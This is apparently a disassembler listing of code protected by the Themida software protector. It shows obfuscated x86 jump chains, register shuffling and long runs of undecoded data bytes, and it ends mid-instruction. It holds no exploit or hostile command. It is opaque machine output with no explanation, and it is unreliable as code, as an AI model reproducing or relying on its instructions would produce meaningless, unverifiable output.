XREF: Themida_:00549E72j pop esp mov [esp], edi push edx jmp loc_546826 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 4C48324h, 81E78957h, 4C7h, 4C78100h, 87000000h dd 575C243Ch, 0C781E789h, 4, 0FFF7FFE9h, 0BD55FFh, 29000000h dd 5DE987CDh, 0FF8C9FE9h, 241C89FFh, 42474FFh, 24048F5Bh dd 0C8BF0F5Ch, 602668h, 240C8900h, 0FF76E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EEED: ; CODE XREF: Themida_:0054F83Ej mov eax, 3B193014h jmp loc_54E05D ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 0FFE851E9h, 0C895CFFh, 186EB924h, 70E9115Fh dd 1000039h, 0DD4CE9F8h, 5F50FFFFh, 6E7C158h, 9F45F781h dd 0C281D0A4h, 4C0234DBh, 0EC83FA01h, 24048904h, 234DBB8h dd 0E9C2294Ch, 0FFFFC844h, 815FFE31h, 329BC0C6h, 5EF101C0h dd 2474FF51h, 6AE95904h, 81FFFFFBh, 4314AFC7h, 81D72930h dd 4314AFEFh, 24148B30h, 4C481h, 43E90000h, 0C1FFFFBBh dd 0EB8106EBh, 0F4C1ED5h, 3BDDE381h, 18E90293h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF87: ; CODE XREF: Themida_:0054CAB0j xor eax, 1E2213C0h and eax, 40162658h xor eax, 3CD868CDh xor edi, eax mov eax, [esp] jmp loc_54B404 ; --------------------------------------------------------------------------- dd 53240C89h, 0C381E389h, 4, 0FFDDE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EFB1: ; CODE XREF: Themida_:00552803j add edi, eax pop eax pop esi jmp loc_547FB5 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFF1FBh, 3F796852h, 24890000h, 24048324h, 0A9FFE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54F7E9 ; --------------------------------------------------------------------------- loc_54EFDA: ; CODE XREF: Themida_:0054D471j sub eax, 7D37DA01h mov ebp, eax mov eax, [esp] add esp, 4 sub ebp, edx jmp loc_546D26 ; --------------------------------------------------------------------------- loc_54EFEE: ; CODE XREF: Themida_:00551886j mov edx, [esp] jmp loc_5519E0 ; --------------------------------------------------------------------------- loc_54EFF6: ; CODE XREF: Themida_:0054CBEAj mov esp, [esp] jmp loc_54920F ; --------------------------------------------------------------------------- dw 5954h dd 4C181h, 0BF570000h, 4, 0E95FF929h, 0FFFFABB0h ; --------------------------------------------------------------------------- loc_54F014: ; CODE XREF: Themida_:00550207j inc edi shr edi, 6 sub edi, 0ECD0h mov ebp, edi mov edi, [esp] add esp, 4 and eax, ebp push dword ptr [esp] jmp loc_54B7B7 ; --------------------------------------------------------------------------- db 4Fh dd 4F06E781h, 0C7815FABh, 3F47E11Bh, 295FF901h, 0C82959C8h dd 0E9011B05h, 2434FF44h, 53240C8Bh, 0C381E389h, 4, 8704C383h dd 0E95C241Ch, 0FFFFF1CDh, 42094D2Dh, 56D80127h, 42094DBEh dd 5EF00127h, 14409D2Dh, 0E7895727h, 4C781h, 0EF810000h dd 4, 0E9243C87h, 1457h ; --------------------------------------------------------------------------- loc_54F094: ; CODE XREF: Themida_:0054E4E5j add ecx, eax pop eax add ecx, 4 xor ecx, [esp] jmp loc_54F5F9 ; --------------------------------------------------------------------------- dw 0C889h dd 0FFC12159h, 48B2434h, 4C48324h, 0C104C483h, 0C00900E9h dd 2372E9h, 59CA8900h, 637B68h, 243C8900h, 51B6B850h, 910D6B0Ah dd 55083B5Ch, 0FC11A6BDh, 5DE801FEh, 48BC789h, 4C48124h dd 1000000h, 0ABE95FF8h, 55FFFFB9h, 531044BDh, 7BED813Ch dd 89CA89ECh, 0C1815DE9h, 2B967ACEh, 8104E1C1h, 0F7DD8AE9h dd 59C80193h, 0FFBF33E9h, 20E9BAFFh, 0D7091DC6h, 0FF83CCE9h dd 14F757FFh, 0BA525F24h, 3D66CB7h, 4BE9D729h, 5AFFFFE7h dd 0FFDBB1E9h, 519868FFh, 4890000h, 748FE924h, 5066FFFFh dd 0AF8DE99Ch, 0BCBFFFFFh, 0E9693214h, 0FFFFFDE8h, 0E9F9015Bh dd 2CC4h ; --------------------------------------------------------------------------- loc_54F160: ; CODE XREF: Themida_:00550AC0j pop dword ptr [esp] jmp loc_54B730 ; --------------------------------------------------------------------------- loc_54F168: ; CODE XREF: Themida_:00549314j pop esp or eax, eax jz loc_55293B push ebp mov ebp, esp add ebp, 4 jmp loc_548F0C ; --------------------------------------------------------------------------- aAuy db '[─НY',0 dd 0CFB151FEh, 8029C980h, 0C9FE8AE9h, 0C180D9F6h, 59CE00BDh dd 66F0005Bh, 8124148Bh, 4ECh, 24348900h, 8E9E689h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F1AF: ; CODE XREF: Themida_:005476F7j add ecx, 4 xchg ecx, [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_547BBD ; --------------------------------------------------------------------------- loc_54F1CC: ; CODE XREF: Themida_:00550B55j push dword ptr [esp+4] mov edi, [esp] jmp loc_549C44 ; --------------------------------------------------------------------------- dd 24048B66h, 0E9E18951h, 28E7h, 2D6CC4B8h, 0C1D8F708h dd 0E94806E0h, 0FFFFF59Fh, 815E5456h, 4C6h, 52BD5500h dd 817EB51Eh, 0D636F8CDh, 0C5814D1Eh, 0A107184h, 0FFE616E9h dd 0FE2859FFh, 0E838E95Bh, 0F181FFFFh, 6E593DCDh, 0C0E9CE01h dd 81000016h, 0C166DC3h, 243C8B32h, 52E68956h, 4BAh, 5AD60100h dd 8704C683h, 295C2434h, 0BFBE56C3h, 8165EC15h, 69C9C3h dd 81F3294Eh, 69C9EBh, 0B9515E4Eh, 2F0A5D1Ch, 5CCC981h dd 0E9811340h, 307C20BFh, 677EBA52h, 55E97E11h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F27B: ; CODE XREF: Themida_:00550FA5j or ebx, edx pop edx push ebx jmp loc_551B26 ; --------------------------------------------------------------------------- dd 5C242C33h, 0E9241C89h, 0FFFF7E1Dh, 0E92D04ACh, 0FFFFF88Ah dd 81665A66h, 665611EBh, 0E9D831h, 81FFFFA5h, 4C4h, 0BD67E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F2B2: ; CODE XREF: Themida_:00548FDAj push ebx mov ebx, 2BD50EB6h dec ebx sub ebx, 696C7A18h jmp loc_54AACC ; --------------------------------------------------------------------------- loc_54F2C4: ; CODE XREF: Themida_:005472B1j pop edi push ebx push esi mov esi, 5EC69B7h or esi, 46DF7676h sub esi, 3F6B603Eh sub esi, 110B6B18h push edi mov edi, 73F76EA5h add edi, 35AA3953h xor edi, 4095025Eh push ecx jmp loc_54ED6E ; --------------------------------------------------------------------------- loc_54F2F6: ; CODE XREF: Themida_:00550DF8j add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], esi push 29DAh mov [esp], ebp jmp loc_55211F ; --------------------------------------------------------------------------- db 81h, 0EEh, 5Dh dd 17FF52Ch, 11B0E9DEh, 0C1800000h, 80D9F64Ah, 0C3803DE9h dd 80CB0035h, 515935EBh, 0FFBFB6E9h, 0B1E9ADFFh, 5FFFFF79h dd 5C240487h, 0BD242C89h, 2076997Ah, 843E082Dh, 5E82952h dd 52843E08h, 2CF9E9h, 16EE8000h, 805AF728h, 0C78093EFh dd 5BF90060h, 0E982E980h, 0FFFF7551h, 15DE829h, 5EB05D0h dd 875A725Dh, 0D25C2404h, 0E99C240Ch, 0FFFF7249h, 0CA87E951h dd 38B1FFFFh, 0E959CB88h, 0C7h, 2645BA52h, 0DAF72DC0h dd 34EEE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F3AA: ; CODE XREF: Themida_:00546DE2j pop edx pop dword ptr [esp] pop esp or eax, eax jz loc_5514B0 push dword ptr [edi+1Ch] sub dword ptr [esp], 75A927D7h pop ecx push ebp push 7E90h jmp loc_5477CC ; --------------------------------------------------------------------------- loc_54F3CD: ; CODE XREF: Themida_:0054A2ABj add esp, 4 jmp loc_54AEB4 ; --------------------------------------------------------------------------- loc_54F3D8: ; CODE XREF: Themida_:0054A075j xchg edx, [esp] pop esp sub eax, 4F727FC9h push 0ED3h jmp loc_5469E6 ; --------------------------------------------------------------------------- db 81h dd 0B21603C3h, 0C3815E64h, 3B3003CAh, 0EB81FB01h, 3B3003CAh dd 5135EB81h, 875F35ADh, 248B241Ch, 2424D324h, 71BFE99Ch dd 0E95FFFFFh, 0FFFFE68Ch ; --------------------------------------------------------------------------- loc_54F41C: ; CODE XREF: Themida_:0054C312j push ebx jmp loc_550DF6 ; --------------------------------------------------------------------------- dw 0D3F7h dd 0FFF242E9h, 5AD129FFh, 0C8BCE01h, 4C48124h, 81000000h dd 2C6h, 0DB68E900h, 1489FFFFh, 0E9EA8824h, 0FFFFE072h dd 83D830ACh, 0C8E902ECh db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F457: ; CODE XREF: Themida_:005480C1j push dword ptr [esp] pop edx add esp, 4 jmp loc_54C206 ; --------------------------------------------------------------------------- db 50h dd 0EB8037B4h, 0E9E32851h, 0FFFF7DB2h, 0E95D5455h, 0FFFF8C25h ; --------------------------------------------------------------------------- loc_54F478: ; CODE XREF: Themida_:0054C666j sub ecx, 0FFFFFFFFh sub ecx, 1 push esi mov esi, 0E1FFD9Bh sub ecx, esi pop esi jmp loc_54B352 ; --------------------------------------------------------------------------- loc_54F492: ; CODE XREF: Themida_:00550A55j pop ebp jmp loc_54F72F ; --------------------------------------------------------------------------- loc_54F498: ; CODE XREF: Themida_:005521D5j pop esi jmp loc_54A181 ; --------------------------------------------------------------------------- dw 8B66h dd 6856240Ch, 7675h, 81242489h, 42404h, 81E90000h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F4B7: ; CODE XREF: Themida_:00546B07j mov edx, 4879508Eh sub edx, 2C5255AEh push esi mov esi, 7C15307Bh add esi, 0A1CC2833h jmp loc_547660 ; --------------------------------------------------------------------------- db 0BBh dd 0B1243A1h, 1C8BDF31h, 4C48324h, 2734BE56h, 0F70179CAh dd 0FF8805E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F4ED: ; CODE XREF: Themida_:005474E8j push esi jmp loc_548001 ; --------------------------------------------------------------------------- loc_54F4F3: ; CODE XREF: Themida_:00550FD4j mov [esp], ebx mov bh, 17h jmp loc_54AE9A ; --------------------------------------------------------------------------- db 81h, 0F2h, 7Bh dd 0E9265F17h, 0FFFFA796h, 597EF381h, 0CE93FEBh, 66FFFFA3h dd 68240C8Bh, 3F97h, 54243489h, 4EC835Eh, 0BB241C89h, 4 dd 0FFE09CE9h, 24348BFFh, 4C481h, 46680000h, 0E9000066h dd 2645h ; --------------------------------------------------------------------------- loc_54F544: ; CODE XREF: Themida_:00548876j mov [esp], ebp jmp loc_55075D ; --------------------------------------------------------------------------- dd 9D1C77FFh, 4105866h, 7AE99C24h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F55B: ; CODE XREF: Themida_:0054D57Dj add eax, ecx push esi mov esi, 5DEC7D7Bh inc esi shl esi, 8 add esi, 1F828EB3h jmp loc_54D3A3 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 4C481h, 0E95F0000h, 0FFFF7051h, 0EF81F701h dd 13BC7FF8h, 46A1EF81h, 348B770Dh, 4C48324h, 31243C33h dd 3C33243Ch, 0D77AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5A6: ; CODE XREF: Themida_:0054E262j mov [esp], eax mov eax, 66707B20h jmp loc_547BB3 ; --------------------------------------------------------------------------- loc_54F5B3: ; CODE XREF: Themida_:005517D3j mov eax, [esp] push eax mov eax, esp jmp loc_54CF45 ; --------------------------------------------------------------------------- dw 9768h dd 0E9000001h, 7CCh, 0BBE94141h, 0BDFFFF97h, 0FE1AC069h dd 11E9EA89h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5DB: ; CODE XREF: Themida_:005519D3j xor [edi+24h], ebx xor ebx, [edi+24h] jmp loc_5507D5 ; --------------------------------------------------------------------------- dw 0C681h dd 8C6F778Eh, 0BCE9F229h, 4BFFFFA3h, 0FF9C4AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F5F9: ; CODE XREF: Themida_:0054F09Dj xor [esp], ecx xor ecx, [esp] jmp loc_54CBEF ; --------------------------------------------------------------------------- dd 4C7835Eh, 5C243C87h, 81D2315Bh, 4ECh, 241C8900h, 0AC240481h dd 0FF709B48h, 83582434h, 1C8904ECh, 81E38924h, 4C3h, 0A7685000h dd 8B4B7A09h, 0C4832404h, 7E0C104h, 0FF7658E9h, 24048BFFh dd 68E28952h, 2F4Ch, 0B8240489h, 4, 3C5C281h, 0C2810F42h dd 74435010h, 0EA81C201h, 74435010h, 3C5EA81h, 48B0F42h dd 21FEE924h, 34FF0000h, 242C8187h, 37884FCAh, 8B2434FFh dd 0C4812404h, 4, 81E38953h, 4C3h, 0E3F9E900h, 0C681FFFFh dd 9B50E7FCh, 0E95EF701h, 3182h, 0B0240489h, 2E42E9ABh dd 0E9530000h, 0FFFF8CE7h, 8900E954h, 8B66FFFFh, 0C4E92404h dd 5E00002Fh, 0FEE9D801h, 50FFFF7Ah, 6EFBE99Ch, 685BFFFFh dd 7DDBh, 0B7241C89h, 5E7C0D7h, 0C002EFC0h, 0E78006EFh dd 13C7800Fh, 38C568h, 24048900h, 0FFC3A8E9h, 163205FFh dd 0C689520Fh, 7E6C158h, 0FF9825E9h, 76ED81FFh, 8B102323h dd 8957243Ch, 4C781E7h, 83000000h, 3C8704C7h, 19E95C24h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F72F: ; CODE XREF: Themida_:0054F493j push ecx mov ecx, 5A554191h jmp loc_550D15 ; --------------------------------------------------------------------------- dw 148Bh dd 0E1895124h, 7029E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F746: ; CODE XREF: Themida_:00551D21j not esi add esi, 45152E42h sub esi, 191A7A87h add esi, 6D88884Fh xor edx, esi pop esi mov esi, edx mov edx, [esp] add esp, 4 and eax, esi pop esi jmp loc_54A339 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFE3B3h, 9A89E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F77E: ; CODE XREF: Themida_:00547346j or edx, 6AE24184h neg edx add edx, 0FAEFE5E1h jmp loc_5476F4 ; --------------------------------------------------------------------------- db 29h, 0C1h, 58h dd 0FFE13AE9h, 0A2E981FFh, 18A1EC7h, 8215E9CFh, 3DB8FFFFh dd 29621425h, 0E28158C2h, 6B95513Bh, 1893B951h, 0CA015327h dd 0E9D10159h, 0FFFFBBD3h, 0B143F480h, 8BE12872h, 89502404h dd 91E953E0h, 64FFFFCAh, 0E9028B66h, 0FFFFA646h, 24248B66h dd 0FF6DECE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F7E9: ; CODE XREF: Themida_:0054EFD5j push ecx mov ecx, 6C2F6ED2h jmp loc_54E3B7 ; --------------------------------------------------------------------------- loc_54F7F4: ; CODE XREF: Themida_:0054A8C0j push edx xor dword ptr [esp], 76705F2Ch pop edi push edx jmp loc_54C088 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4C18100h, 57000000h, 4BFh, 0E9F90100h, 327h ; --------------------------------------------------------------------------- loc_54F81C: ; CODE XREF: Themida_:00547E21j mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] push ebx pop dword ptr [edi+24h] pop ebx push eax jmp loc_54EEED ; --------------------------------------------------------------------------- db 89h dd 0DDBB241Ch, 0E966C214h, 0FFFFFBD2h ; --------------------------------------------------------------------------- loc_54F850: ; CODE XREF: Themida_:00552734j push edi mov edi, 45B3759Ah push ecx push edx push 645C670Ch jmp loc_54FF3B ; --------------------------------------------------------------------------- dw 8B66h dd 77E92404h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F86B: ; CODE XREF: Themida_:00546A8Cj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, esp push esi mov esi, 35691A52h push ebp mov ebp, 35691A4Eh sub esi, ebp pop ebp jmp loc_546609 ; --------------------------------------------------------------------------- loc_54F891: ; CODE XREF: Themida_:0054B5DCj inc eax xor eax, 4950479Eh add ecx, eax jmp loc_546DE7 ; --------------------------------------------------------------------------- dw 0C681h dd 7FAF5EBCh, 0E95EF089h, 0FFFF6D29h, 2434875Bh, 0FFC03BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F8B5: ; CODE XREF: Themida_:00548821j shr ecx, 2 not ecx shr ecx, 7 add ecx, 0FE14F21Dh add edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_5465D5 ; --------------------------------------------------------------------------- loc_54F8D7: ; CODE XREF: Themida_:00550F66j add ebp, 0BD6D39ABh mov ecx, ebp pop ebp or esi, ecx mov ecx, [esp] add esp, 4 add esi, 8BF8413Fh xor edi, esi pop esi push edi not dword ptr [esp] jmp loc_54F9C5 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF72E1h ; --------------------------------------------------------------------------- loc_54F900: ; CODE XREF: Themida_:0054D9F1j not esi sub esi, 0F4B62A96h jmp loc_54AFA0 ; --------------------------------------------------------------------------- db 54h, 5Eh, 81h dd 4C6h, 4C68300h, 2474FF56h, 24348B04h, 0FFC6E6E9h, 240C8BFFh dd 8B04C483h, 0C4832404h, 6DCDE904h, 148BFFFFh, 4C48124h dd 58000000h, 5201EF80h, 0E6804FB6h, 0FED6F60Dh, 0FA0BE9CEh dd 34FFFFFFh, 85E95B24h, 81000003h, 4C2h, 4EA8300h, 5C241487h dd 68243489h, 1, 8324348Bh, 0E7E904C4h, 89FFFFD0h, 4AB82404h dd 29499A51h, 0C38158C3h, 79A266E4h, 1C8BD831h, 4C48124h dd 81000000h, 4ECh, 243C8900h, 3A02BB53h, 0E94B7C87h, 0FFFFEAD2h dd 0EB05D801h, 5B552912h, 8704C083h, 0EBE92404h, 5F000015h dd 149AE9h db 0 ; --------------------------------------------------------------------------- loc_54F9C5: ; CODE XREF: Themida_:0054F8F5j pop edi jmp loc_54FAE0 ; --------------------------------------------------------------------------- db 0B0h dd 59EB80D6h, 0C380C328h, 0F586659h, 34FFC0B6h, 0E6895687h dd 0FF9A5AE9h, 5AD189FFh, 0E959C801h, 0FFFFAC68h, 8B2434FFh dd 0C4812404h, 4, 0D536853h, 24890000h, 0F11FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA0A: ; CODE XREF: Themida_:005486E1j pop eax jmp loc_5511EF ; --------------------------------------------------------------------------- loc_54FA10: ; CODE XREF: Themida_:0054CB34j mov esp, [esp] jmp loc_54C70C ; --------------------------------------------------------------------------- loc_54FA18: ; CODE XREF: Themida_:005493D1j push dword ptr [esp] jmp loc_5491E5 ; --------------------------------------------------------------------------- dd 4BFh, 247C0100h, 0FD4AE904h, 0EA80FFFFh, 29046Ch, 5A292CD0h dd 0B353D800h, 3F966856h, 86E90000h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA47: ; CODE XREF: Themida_:0054E2DBj sub edi, ebp jmp loc_54A1C6 ; --------------------------------------------------------------------------- dw 0EB83h dd 241C8704h, 2404895Ch, 24B8h, 0A8C0500h, 0F8016952h dd 520A8C2Dh, 0C298E969h, 6859FFFFh, 1A5Ah, 0E9241C89h dd 0FFFF7F66h ; --------------------------------------------------------------------------- loc_54FA7C: ; CODE XREF: Themida_:00549758j mov eax, 636F46D5h sub [esp+4], eax pop eax pop eax push ecx mov ecx, 0CA5B8Ah push ebp mov ebp, 64422D4Fh jmp loc_552340 ; --------------------------------------------------------------------------- loc_54FA98: ; CODE XREF: Themida_:00546E6Dj shr edx, 4 sub edx, 6DA15E00h jmp loc_5521D0 ; --------------------------------------------------------------------------- dw 4949h dd 0E181D1F7h, 3CA85BCEh, 417F181h, 0C8894E82h, 5E0C159h dd 405ABD55h, 0E5C16EC4h, 0BEE7E904h, 0E959FFFFh, 0FFFFA9F0h dd 39A1BB53h, 0DA3106BBh, 0E9D1295Bh, 0FFFFF653h ; --------------------------------------------------------------------------- loc_54FAE0: ; CODE XREF: Themida_:0054F9C6j push esi mov esi, 65934031h inc esi add esi, 6A90B711h xor edi, esi jmp loc_5482AD ; --------------------------------------------------------------------------- dd 8DE92B88h, 5DFFFF6Ch, 8106E7C1h, 850018C7h, 5CBE5647h dd 814F9147h, 0A1A050C6h, 5EF70148h, 875FFB01h, 0F1E9241Ch dd 54FFFF6Eh, 5A2434FFh, 685D5455h, 2888h, 0E9240C89h dd 0FFFFC4A8h ; --------------------------------------------------------------------------- loc_54FB34: ; CODE XREF: Themida_:00550D43j push ebx mov ebx, 6361827h sub [esp+4], ebx jmp loc_54CDD7 ; --------------------------------------------------------------------------- db 5Fh dd 5C240C87h, 1C8BF830h, 0E73FE924h, 32BAFFFFh, 1706A38h dd 19E95AD5h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB5F: ; CODE XREF: Themida_:005511BFj xchg eax, [esp] pop esp push esi mov esi, esp jmp loc_54ACEE ; --------------------------------------------------------------------------- loc_54FB6B: ; CODE XREF: Themida_:0054CB76j push ecx mov ecx, 2 mov edi, ecx jmp loc_54E61A ; --------------------------------------------------------------------------- dd 4C281h, 14870000h, 24248B24h, 48B5450h, 4C48324h, 0FFD019E9h dd 3877FFFFh, 815F5457h, 4C7h, 4EF8300h, 5C243C87h, 1B2BE9h dd 59EB0000h, 515BD828h, 5066FEB1h, 0EC805BB4h, 0B05053A3h dd 0C688528Ah, 6FE9F788h, 0FFFFFFDh, 34FFC0B6h, 24048B87h dd 4EC81h, 3C890000h, 65B66824h, 24890000h, 24048324h dd 96FE904h, 0E9580000h, 0FFFF82E8h, 7DA0EA81h, 62E94BD5h dd 56FFFFDFh, 0C681E689h, 4, 8702C683h, 685C2434h, 17EFh dd 11D4E9h, 81E78900h, 4C7h, 4C78300h, 5C243C87h, 4C181h dd 0C1830000h, 240C8702h, 288645Ch, 0FFDA5EE9h, 28F66FFh dd 0FF6994E9h, 4AE950FFh db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC47: ; CODE XREF: Themida_:005514D7j add edx, ebp jmp loc_54AB78 ; --------------------------------------------------------------------------- dw 0C381h dd 0DB25891Fh, 55BD809h, 3A523845h, 16F9E9h, 242CD200h dd 9D32E99Ch, 0F180FFFFh, 8D18E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC72: ; CODE XREF: Themida_:00550760j mov edi, 302166A0h and edi, 627904C6h sub edi, 1811484h add edi, 446126CDh add edi, 9CFEE93Bh add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx push ebx mov bl, dl jmp loc_54CB8B ; --------------------------------------------------------------------------- db 20h, 4, 24h dd 6923E99Ch, 166FFFFh, 250566D0h, 29665A27h, 202D66D8h dd 815B6630h, 4ECh, 0D087E900h, 34FFFFFFh, 89535B24h, 4C381E3h dd 0E9000000h, 1F88h, 4C481h, 89560000h, 4C681E6h, 57000000h dd 2CBA5253h, 4A081605h, 0FF99CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FCFD: ; CODE XREF: Themida_:005496B3j pop esp shr eax, 10h xor eax, ecx push 7187h mov [esp], eax xchg edx, [esp] xchg ebp, edx jmp loc_55051F ; --------------------------------------------------------------------------- db 68h, 0A2h, 1Dh dd 2C890000h, 0B4A6E924h, 0EE81FFFFh, 3DBA338Dh, 3E9E681h dd 0C6814E88h, 5112392Dh, 32D0C681h, 42E9DA1Bh db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD3F: ; CODE XREF: Themida_:0054B1DFj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_54BEDA ; --------------------------------------------------------------------------- db 53h, 59h, 5Bh dd 607EF81h, 0CF014A5Bh, 607C781h, 56594A5Bh, 1315E9h dd 240C3300h, 0FFD812E9h, 4EC83FFh, 68240489h, 1ECC042Eh dd 87CDE958h, 0C180FFFFh, 59CB006Ah, 0E935C380h, 0FFFF91E6h dd 50242C89h, 8F02C5B8h, 6810h, 2C810000h, 0F81EF524h dd 24042937h, 0F5240481h, 5837F81Eh, 0BD55D0F7h, 3D0022BBh dd 6818BE56h, 0F509074Ch, 82ED815Eh, 81145A3Dh, 3C1C2BF5h dd 123FE931h, 0C2810000h, 3C76889Fh, 57E9D121h, 81FFFFF9h dd 4C3h, 0E4E95700h, 81FFFF71h, 4C1h, 4EC8300h, 56240489h dd 0FF7E30E9h, 0C2BB53FFh, 0E9332B04h, 0FFFFC7C5h, 135FE955h dd 2ABB0000h, 294EA80Ch, 6986E9D9h, 7E68FFFFh, 8900004Dh dd 5B54241Ch, 4C381h, 0C3810000h, 4, 8B241C87h, 96E92424h dd 5AFFFF67h, 5C243487h, 0FFC8B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FE49: ; CODE XREF: Themida_:00547BC2j push ebx push eax push 177D3BA4h push dword ptr [esp] pop eax add esp, 4 add eax, 0E882C45Dh push edi jmp loc_54B2C4 ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 8B241433h, 0CBE92424h, 8100000Dh, 6F1138EDh, 81CD291Eh dd 6F1138C5h, 0C440E91Eh, 0C201FFFFh, 4EC81h, 3C890000h dd 0D383E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FE96: ; CODE XREF: Themida_:005495BEj push ebp push 6E5B1C31h mov ebp, [esp] jmp loc_548017 ; --------------------------------------------------------------------------- loc_54FEA4: ; CODE XREF: Themida_:005471FDj shr ah, 8 add ah, 79h add ah, 0D5h jmp loc_54D70F ; --------------------------------------------------------------------------- loc_54FEB2: ; CODE XREF: Themida_:0055142Aj mov ecx, [esp] add esp, 4 xchg esi, [esp] pop esp push ecx jmp loc_54870D ; --------------------------------------------------------------------------- db 68h, 4Bh, 19h dd 34890000h, 116E924h, 0EA810000h, 96C5BFFh, 9BC2C281h dd 0D529455Fh, 6BE9525Ah, 89FFFFFCh, 0E6892434h, 22C3BB53h dd 0BF573574h, 0CA8BDD41h, 815FFB01h, 0DA5B69C6h, 0E9DE0136h dd 0FFFF81BEh ; --------------------------------------------------------------------------- loc_54FF08: ; CODE XREF: Themida_:00549693j pop esi sub eax, 45C31319h sub eax, 0FC034D0Dh jmp loc_55050D ; --------------------------------------------------------------------------- dd 0DA5862B8h, 0E9C72948h, 0FFFFE9CEh, 484E68h, 240C8900h dd 0EFE9F8B1h, 8FFFFFF3h, 0CDE92404h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF3B: ; CODE XREF: Themida_:0054F85Dj pop edx jmp loc_54CAA1 ; --------------------------------------------------------------------------- db 80h, 0F6h, 0FFh dd 16C2E9h db 0 ; --------------------------------------------------------------------------- loc_54FF49: ; CODE XREF: Themida_:0054CD1Bj add ecx, 0F6E41E48h and eax, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] or eax, eax jz loc_54E99F push edx mov edx, 1Ch jmp loc_547507 ; --------------------------------------------------------------------------- dd 0BB241C89h, 4170377Dh, 4245C31h, 81241C8Bh, 4C4h, 0A1E3E900h dd 815EFFFFh, 424A3DE3h, 0DEB813Bh, 81502D7Bh, 3E3B10EBh dd 0D3CB8117h, 523C4359h, 0FFB854E9h, 0EB815BFFh, 320C166Dh dd 2418E9h, 0E9F10100h, 0FFFF829Fh, 0D4D3E95Ch, 0E941FFFFh dd 1F7h, 5166595Bh, 0E951E6B5h, 0FFFFBE62h, 0E9241C8Bh dd 0FFFFBBBDh, 0FD4FF8BEh, 0FAEE8138h, 125643Fh, 24348BF3h dd 5A04C483h, 0E07E9h, 58E68800h, 7514E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55000A: ; CODE XREF: Themida_:00546B89j sub edx, 2BB21E11h add ebx, 3F3243FBh jmp loc_549D36 ; --------------------------------------------------------------------------- db 5Ah dd 4C6835Fh, 31243433h, 0FFE92434h, 0BFFFFF95h, 0FC94CD3Ah dd 0C4E9EF01h, 66FFFFFAh, 53240C8Bh, 0FF8F23E9h db 0FFh ; --------------------------------------------------------------------------- loc_550041: ; CODE XREF: Themida_:00548B47j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_551F1D ; --------------------------------------------------------------------------- loc_550057: ; CODE XREF: Themida_:0054E78Ej mov [esp], edi push 11573F45h mov edi, [esp] jmp loc_547C6D ; --------------------------------------------------------------------------- aS_7 db '(нИ╣$',0 align 2 dw 0F520h dd 0DDE8E95Ah, 0C481FFFFh, 4, 0E0B35352h, 0E9BFC380h, 1CAEh dd 24040166h, 125DE99Ch, 0C7830000h, 243C8704h, 0D666E95Ch dd 0B951FFFFh, 30B34D1Ch, 0FFAAFEE9h, 8E6C1FFh, 0FFDA44E9h dd 8FBE56FFh, 8112BA3Dh, 7001B7C6h, 5EEC124h, 0EE81DEF7h dd 2311208Fh, 17EE814Eh, 89D6E55Ch, 0CF015EF1h, 0EF815959h dd 4, 31243C33h, 3C33243Ch, 4895C24h, 64E7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5500EE: ; CODE XREF: Themida_:0054EE29j mov ecx, 57B1488Dh shr ecx, 4 sub 